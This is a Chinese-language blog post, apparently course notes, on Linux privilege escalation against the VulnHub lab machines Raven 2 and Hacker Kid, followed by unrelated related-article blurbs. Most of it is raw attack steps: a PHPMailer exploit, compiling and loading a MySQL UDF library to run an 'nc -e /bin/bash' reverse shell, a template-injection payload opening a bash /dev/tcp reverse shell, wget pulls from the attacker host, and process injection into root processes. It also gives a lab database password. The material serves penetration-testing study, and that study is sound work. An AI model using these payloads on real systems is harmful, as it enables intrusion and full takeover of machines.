DAY141权限提升-Linux系统权限提升篇VulnhubCapability能力LD_Preload加载数据库等

news/2024/12/2 3:09:43/

一、演示案例-Linux系统提权-Web&用户-数据库类型

复现环境:Raven: 2 ~ VulnHub

1、信息收集

http://192.168.139.155/vendor/

2、Web权限获取

searchsploit phpmailer

find / -name 40969.py

cp /usr/share/exploitdb/exploits/php/webapps/40969.py p.py

python p.py

python -c 'import pty; pty.spawn("/bin/bash")' //起一个交互式终端

3、MYSQL-UDF提权

两种提权方式:1、用梭哈工具(注意外联问题) 2、手工操作(不需要外联)

编译UDF.so

searchsploit udf

cp /usr/share/exploitdb/exploits/linux/local/1518.c .  //复制到当前所在文件夹

gcc -g -shared -Wl,-soname,1518.so -o udf.so 1518.c -lc

python -m http.server 8080

下载到目标上

python -c 'import pty; pty.spawn("/bin/bash")'

cd tmp

wget http://192.168.139.141:8080/udf.so

连接进行导出调用

mysql -uroot -pR@v3nSecurity

select version();   //查看mysql版本

select @@basedir;   //确认mysql安装位置

show variables like '%basedir%';    //确认mysql安装位置

show variables like '%secure%';  //查看可导出文件位置

show variables like '%plugin%';   //查找插件位置

show variables like '%compile%';   //查看系统版本

use mysql;

// 创建xiaodi表

create table xiaodi(line blob);

// 往xiaodi表中插入二进制的udf.so

insert into xiaodi values(load_file('/tmp/udf.so'));

// 导出udf.so到其他位置

select * from xiaodi into dumpfile '/usr/lib/mysql/plugin/udf.so';

// 创建do_system自定义函数并执行命令

create function do_system returns integer soname 'udf.so';

select do_system('nc 192.168.139.141 6666 -e /bin/bash');

二、演示案例-Linux系统提权-Web&用户-Capability能力

原理参考:Linux提权之:利用capabilities提权 - f_carey - 博客园

1、入门

cp /usr/bin/php /tmp/php

chmod 777 /tmp/php

设置能力:setcap cap_setuid+ep /tmp/php

删除能力:setcap -r /tmp/php

查看单个能力:getcap /usr/bin/php

查看所有能力:getcap -r / 2>/dev/null

Hacker_Kid
WP参考:https://www.jianshu.com/p/60673ac0454f

参考这个地址:https://gtfobins.github.io/

2、vulnhub

复现环境:Hacker kid: 1.0.1 ~ VulnHub
WP参考:Hacker_Kids靶机渗透WP - 简书

saket

Saket!#$%@!!

{% import os %}{{os.system('bash -c "bash -i &> /dev/tcp/192.168.139.141/6688 0>&1"')}}

http://192.168.139.156:9999/?name=%7B%25+import+os+%25%7D%7B%7Bos%2Esystem%28%27bash+%2Dc+%22bash+%2Di+%26%3E+%2Fdev%2Ftcp%2F192%2E168%2E139%2E141%2F6688+0%3E%261%22%27%29%7D%7D

/sbin/getcap -r / 2>/dev/null //查看所有能力

python -m http.server 8080

wget http://192.168.139.141:8080/inject.py

for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done


http://www.ppmy.cn/news/1551647.html

相关文章

Docker 实战:搭建本地 Registry 私有镜像仓库及批量导入脚本

前言:在我之前的博客中,我分享了 Harbor 仓库搭建的详细操作步骤。然而,在实际的生产环境中,并非每个 Docker 环境都需要部署一个规模庞大的 Harbor 仓库。有时,一个轻量级的本地 Registry 私有镜像仓库会更为便捷。本…

【聊天室后端服务器开发】语音转换子服务

概述 实现逻辑 服务器搭建流程分析 基于gflags模块进行参数解析 RPC信息:当前服务器的地址端口,主要用于搭建RPC服务器的监听地址信息服务注册信息 注册中心的地址端口:向服务器中心进行服务注册外部访问地址端口:告知注册中心的…

新版本PasteSpider开发中专用部署工具介绍(让2GB的服务器也能使用CI/CD,简化你的部署过程)

如果你有linux服务器,可以试试这个PasteSpider,利用容器管理软件(docker/podman),可以快速上手! 拉取镜像并安装 【【【PasteSpider的下载和安装(支持docker的一键模式)】】】 建议使用 最简单的模式SqliteMemoryCache 测试嘛…

LINQ (C#) 中的限定符运算:全部All、任意Any、包含Contains

限定符运算返回一个 Boolean 值,该值指示序列中是否有一些元素满足条件或是否所有元素都满足条件。 下图描述了两个不同源序列上的两个不同限定符运算。 第一个运算询问是否有任何元素为字符“A”。 第二个运算询问是否所有元素都为字符“A”。 这两种方法在此示例…

Matlab搜索路径添加不上

发现无论是右键文件夹添加到路径,还是在“设置路径”中专门添加,我的路径始终添加不上,导致代码运行始终报错,后来将路径中的“”加号去掉后,就添加成功了,经过测试,路径中含有中文也可以添加成…

【论文阅读】点云预测-机器人操作

文章目录 1. 【CoRL 2024】IMAGINATION POLICY: Using Generative Point Cloud Models for Learning Manipulation Policies针对痛点和贡献摘要和结论引言方法实验思考不足之处 2. 【CVPR2023】Point Cloud Forecasting as a Proxy for 4D Occupancy Forecasting针对痛点和贡献…

计算机毕业设计Python+LSTM天气预测系统 AI大模型问答 vue.js 可视化大屏 机器学习 深度学习 Hadoop Spark

温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 作者简介:Java领…

【RISC-V CPU debug 专栏 2.2 -- Hart DM States】

文章目录 Hart DM StatesHart 的 DM 状态1. 不存在(Non-existent)2. 不可用(Unavailable)3. 运行(Running)4. 暂停(Halted)状态转换与复位行为状态指示信号Hart DM States 在 RISC-V 调试架构中,每个可以被选择的硬件线程(hart)处于以下四种调试模块(DM)状态之一…